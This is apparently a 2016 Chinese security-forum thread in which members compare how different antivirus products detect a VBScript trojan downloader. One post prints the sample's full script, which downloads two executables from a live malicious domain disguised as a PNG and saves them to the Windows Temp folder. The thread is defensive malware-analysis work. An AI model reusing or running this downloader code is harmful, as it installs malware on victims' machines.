TrojanDownloader/VBS.Steamto.b

电脑发烧友

刚才回到电脑跟前一看

操作进程：C:\Windows\explorer.exe
触犯规则：行为防御➢脚本批处理即将被执行\调用命令行
操作类型：执行
操作文件：C:\Windows\System32\wscript.exe
用户操作：已阻止

操作进程：C:\Windows\System32\svchost.exe
文件路径：C:\Windows\Temp\logo.vbs
病毒名：TrojanDownloader/VBS.Steamto.b
病毒ID：6A09A2D26338D9CD
用户操作：已清除

操作进程：C:\Windows\explorer.exe
触犯规则：行为防御➢脚本批处理即将被执行\调用命令行
操作类型：执行
操作文件：C:\Windows\System32\wscript.exe
用户操作：已阻止

操作进程：C:\Users\wuliao\AppData\Roaming\360se6\Application\360se.exe
触犯规则：行为防御➢脚本批处理即将被执行\调用命令行
操作类型：执行
操作文件：C:\Windows\SysWOW64\wscript.exe
用户操作：已阻止

不要吓人好不好

开开心心卖手机

VBS不杀，杀链接的文件
Virus: Trojan.Generic.15905039 (Engine A)
Virus found while downloading content from the web.
Address: hxxp://do.liuxue98.com/logo2.png?1457849184772
Status:         Access denied.

aboringman

AVG：block the dangerous website.

"";"Trojan horse Downloader.Generic14.ANZI, http://do.liuxue98.com/logo2.png?1457849184772";"Object was blocked";"URL";"2016/4/30, 15:22:39"

电脑发烧友

aboringman 发表于 2016-4-30 15:29
AVG：block the dangerous website.

"";"Trojan horse Downloader.Generic14.ANZI, http://do.liu ...

其实我想知道那两个exe是干啥的

aboringman

电脑发烧友 发表于 2016-4-30 15:34
其实我想知道那两个exe是干啥的

那两个东西扫描了一下，过。。。。。。双击，提示错误，然后又过（这个过是因为命令错误还是什么的，然后自动终止了）。。。。。。

翼风Fly

logo.zip包的vbs文件，火绒报下载者：

[mw_shl_code=shell,true] Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://do.liuxue98.com/logo2.png?1457849184772",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "C:\Windows\Temp\logo_a1-chou.exe",2
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://do.liuxue98.com/logo2.png?1457849318149",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "C:\Windows\Temp\logo_a1-erai.exe",2
[/mw_shl_code]

从 do.liuxue98.com 里下载俩病毒样本到temp文件夹里。上传的desktop包就是这俩货

找时间在看另外俩exe....

pal家族

Kaspersky miss all

vm001

2016-04-30 16:28:08     
恶意软件(virus.vbs.dropper.d) 已删除此文件，如果您发现误删，可从隔离区恢复此文件。        c:\users\admin\desktop\logo\logo.vbs

cfhdrty

数字杀一个，ess全miss

a939707506

google chrome kill two